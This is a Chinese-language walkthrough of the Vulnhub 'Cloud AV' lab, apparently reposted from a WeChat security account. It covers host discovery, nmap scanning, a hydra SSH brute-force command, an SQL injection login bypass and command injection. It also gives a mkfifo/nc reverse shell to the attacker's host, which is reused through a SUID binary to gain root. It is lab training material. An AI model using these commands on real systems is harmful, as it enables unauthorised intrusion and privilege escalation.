Vulnhub 靶场之 BoredHackerBlog

靶场简介

Vulnhub

地址：https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

描述:

这是一个云端反病毒扫描程序！是一种基于云的防病毒扫描服务。

目前，它处于测试模式。系统要求您测试设置并查找漏洞并升级隐私。

难度：简单

目标：获得 root 权限

涉及的任务：

端口扫描

网页应用攻击

SQL 注入

命令注入

暴力破解

代码分析

系统环境

操作系统：

物理机：Arch linux

虚拟机：kali linux

虚拟机程序：Virtualbox

使用程序：

arp-scan 用于目标发现

ping 用于目标发现

arping 用于目标发现

nmap 用于服务识别

nc 用于 shell 反弹

hydra 用于密码破解

burpsuite 用于 web 测试

测试过程

主机发现

sudo arp-scan -I eth0 -l                                                               #arp发现，确定目标ip地址

nmap -sn 192.168.56.1/24                                                          #ping扫描，禁用端口扫描

for i in $(seq 0 10); do ping -c 1 192.168.56.$i; done                 #shell 批量ping扫描 

for i in $(seq 0 10); do sudo arping -c 1 192.168.56.$i; done     #shell 批量arping扫描

部分列举，方式很多，根据实际场景进行选择测试

服务识别

nmap -p- 192.168.56.108    #进行全端口扫描

nmap -p22,8080 192.168.56.108    #进行端口服务识别

根据发现的主机目标进行全端口扫描，随后进行端口服务发现

服务进攻

hydra -l root -P rockyou.txt -t 32 -vV  192.168.56.108 ssh -f     #指定账户，密码字典，对目标进行ssh暴力破解 ，ssh尝试长时间未得到密码

ssh暴力破解长时间未成功，随后web访问8080端口，出现输入框，需要密码，简单测试后发现sql注入漏洞

注入代码：" or 1=1 --  后面有一个空格

随后进入一个新的页面，简单测试后发现存在命令行注入漏洞

命令行注入代码：| command

通过命令行注入，执行nc,反弹shell

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.56.107 4444 >/tmp/m

随后在用户主目录发现拥有suid,root权限的可执行程序，通过此程序调用nc反弹shell,获得root权限

./upload_cloudav "rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.56.107 5555 >/tmp/m"

完结撒花

积极向上

勇往直前

原文始发于微信公众号（人遁安全）：Vulnhub 靶场之 BoredHackerBlog